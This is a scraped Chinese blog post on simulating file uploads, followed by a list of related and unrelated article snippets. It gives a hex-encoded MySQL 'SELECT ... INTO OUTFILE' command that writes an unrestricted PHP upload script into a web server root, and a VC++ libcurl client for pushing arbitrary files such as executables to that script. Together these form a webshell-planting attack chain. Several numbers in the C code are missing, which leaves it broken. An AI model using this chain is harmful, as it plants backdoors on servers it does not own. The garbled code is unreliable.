http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VC+libcurl库。

 

我们也直接可以用MYSQL写入这段上传代码就可以了。

select 0x3C3F70687020696628245F46494C45535B2766696C65275D5B276E616D65275D20213D20222229207B20636F70792028245F46494C45535B2766696C65275D5B27746D705F6E616D65275D2C20245F46494C45535B2766696C65275D5B276E616D65275D2920206F7220646965202822436F756C64206E6F7420636F70792066696C6522293B207D20656C7365207B20206469652820224E6F2066696C65207370656369666965642220293B7D3F3E into outfile 'c:\\xampp\\htdocs\\upload.php';

upload.html

<form action="upload.php" method="post" enctype="multipart/form-data">
File:
<input type="file" name="file">
FileName:
<input type="text" name="name">
<input type="submit" name="submit" value="Submit">
</form>

upload.php

<?php if($_FILES['file']['name'] != "") { copy ($_FILES['file']['tmp_name'], $_FILES['file']['name'])  or die ("Could not copy file"); } else {  die( "No file specified" );}?>

VC代码:

// curl_uploader.cpp : Defines the entry point for the console application.
// #include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <curl/curl.h>
#pragma comment(lib,"libcurl.lib"); int http_post_upload(char* Urlpath,char* uploadname)
{
CURL *curl;
CURLcode res; struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
struct curl_slist *headerlist=NULL;
static const char buf[] = "Expect:"; curl_global_init(CURL_GLOBAL_ALL); /* Fill in the file upload field */
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "file",
CURLFORM_FILE, uploadname,
CURLFORM_END); /* Fill in the filename field */
// curl_formadd(&formpost,
// &lastptr,
// CURLFORM_COPYNAME, "name",
// CURLFORM_COPYCONTENTS, tempname,
// CURLFORM_END); /* Fill in the submit field too, even if this is rarely needed */
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "submit",
CURLFORM_COPYCONTENTS, "Submit",
CURLFORM_END); curl = curl_easy_init();
/* initalize custom header list (stating that Expect: 100-continue is not
wanted */
headerlist = curl_slist_append(headerlist, buf);
if(curl) {
/* what URL that receives this POST */ curl_easy_setopt(curl, CURLOPT_URL, Urlpath);
/* if ( (argc == 2) && (!strcmp(argv[1], "noexpectheader")) ) */
/* only disable 100-continue header if explicitly requested */
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
//
/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res)); /* always cleanup */
curl_easy_cleanup(curl); /* then cleanup the formpost chain */
curl_formfree(formpost);
/* free slist */
curl_slist_free_all (headerlist);
}
return ;
} int main(int argc, char *argv[])
{
char* url = argv[];
char* Filename = argv[]; if (argc < )
{
printf("[-]:%s Upload_url upload_Filename\r\n",argv[]);
printf("[-]:%s http://192.168.1.1/upload.php c:\\test.exe\r\n",argv[]);
exit();
} int res = http_post_upload(url,Filename);
if (res != )
{
printf("\r\n[-]:upload error->Getlasterror:%d\r\n",GetLastError());
}else
{
printf("\r\n[+]:upload sucessfuly \r\n");
}
return ; }

vc libcurl 模拟上传文件的更多相关文章

  1. C语言 HTTP上传文件-利用libcurl库上传文件

    原文  http://justwinit.cn/post/7626/ 通常情况下,一般很少使用C语言来直接上传文件,但是遇到使用C语言编程实现文件上传时,该怎么做呢? 借助开源的libcurl库,我们 ...

  2. 一个Jmeter模拟上传文件接口的实例

    资料参考:https://blog.csdn.net/u010390063/article/details/78329373 项目中,避免不了要用到很多上传文件.图片的接口,那么碰到这类接口该如何进行 ...

  3. 使用WebClient Post方式模拟上传文件和数据

    假如某网站有个表单,例如(url: http://localhost/login.aspx):帐号  密码 我们需要在程序中提交数据到这个表单,对于这种表单,我们可以使用 WebClient.Uplo ...

  4. libcurl post上传文件

    #include <stdio.h>#include <string.h> #include <curl/curl.h> int main(int argc, ch ...

  5. 使用postman模拟上传文件到springMVC的坑:the request was rejected because no multipart boundary was found

    参考该文解决问题:http://blog.csdn.net/sanjay_f/article/details/47407063 报错 threw exception [Request processi ...

  6. 【转】asp.net(c#)使用HttpWebRequest附加携带请求参数以post方式模拟上传大文件(以图片为例)到Web服务器端

    原文地址:http://docode.top/Article/Detail/10002 目录: 1.Http协议上传文件(以图片为例)请求报文体内容格式 2.完整版HttpWebRequest模拟上传 ...

  7. Python模拟HTTP Post上传文件

    使用urllib2模块构造http post数据结构,提交有文件的表单(multipart/form-data),本示例提交的post表单带有两个参数及一张图片,代码如下: #buld post bo ...

  8. 通过PHP CURL模拟请求上传文件|图片。

    现在有一个需求就是在自己的服务器上传图片到其他服务器上面,过程:客户端上传图片->存放到本地服务器->再转发到第三方服务器; 由于前端Ajax受限制,只能通过服务器做转发了. 在PHP中通 ...

  9. php Socket模拟表单上传文件函数_学习

    模拟上传文件的php代码 里面访问地址.主机.上传文件名.内容.分隔符可以修改   function postFile($file) {     $clf = "\r\n";   ...

随机推荐

  1. LInux下桥接模式详解二

    上篇文章导入博客园的比较早,而这篇自己在写的时候才发现内部复杂的很,以至于没能按时完成,造成两篇文章的间隔时间有点长! 话不多说,言归正传! 前面的文章介绍了桥接模式下的基础理论知识,其实本节想结合L ...

  2. 现有mysql加入redis

    spring-dao.xml(注意这里必须加上ignore-unresolvedable): redis.properties: redis.hostname=192.168.1.3 redis.po ...

  3. WebRtc(网页即时通讯技术)知识点总结

    前言 WebRTC,名称源自网页实时通信(Web Real-Time Communication)的缩写,简而言之它是一个支持网页浏览器进行实时语音对话或视频对话的技术.并且还支持跨平台:window ...

  4. 简明python教程十一----更多Python的内容

    特殊的方法 __init__(self,...):这个方法在新建对象恰好要被返回使用之前被调用 __del__(self):恰好在对象要被删除之前调用 __str__(self):我们对对象使用pri ...

  5. Java队列存储结构及实现

    一.队列(Queue) 队列是一种特殊的线性表,它只允许在表的前段(front)进行删除操作,只允许在表的后端(rear)进行插入操作.进行插入操作的端称为队尾,进行删除操作的端称为队头. 对于一个队 ...

  6. django xadmin app models 注册

    在app下新建adminx.py文件 # -*- coding: utf-8 -*- # 作者:神秘藏宝室 # 日期:2018/12/28 22:07 import xadmin from .mode ...

  7. Linux系统——磁盘管理

    磁盘结构 (1)硬盘的物理结构 磁头:每面一个磁盘 盘片:硬盘有多个盘片,每个盘片2面 (2)硬盘的数据结构 扇区:盘片被分为多个扇形区域,每个扇形区存放512字节的数据 磁道:统一盘片不同半径的同心 ...

  8. java.sql.SQLException: Streaming result set com.mysql.jdbc.RowDataDynamic@27ce24aa is still active. No statements may be issued when any streaming result sets are open and in use on a given connection

    在Sqoop往mysql导出数据的时候报了这个错误,一开始还以为是jar包没有打进去或者打错位置了,未解便上网查询. Error reading from database: java.sql.SQL ...

  9. 跨域问题-cors

    什么是跨域如大家所知,出于安全考虑,浏览器会限制脚本中发起的跨站请求.比如,使用 XMLHttpRequest 对象发起 HTTP 请求就必须遵守同源策略(same-origin policy). 具 ...

  10. 防止 IOS 和 安卓 自动锁屏

    Ios代码 在文件AppController中的 didFinishLaunchingWithOptions函数中加一行代码即可: [[UIApplication sharedApplication] ...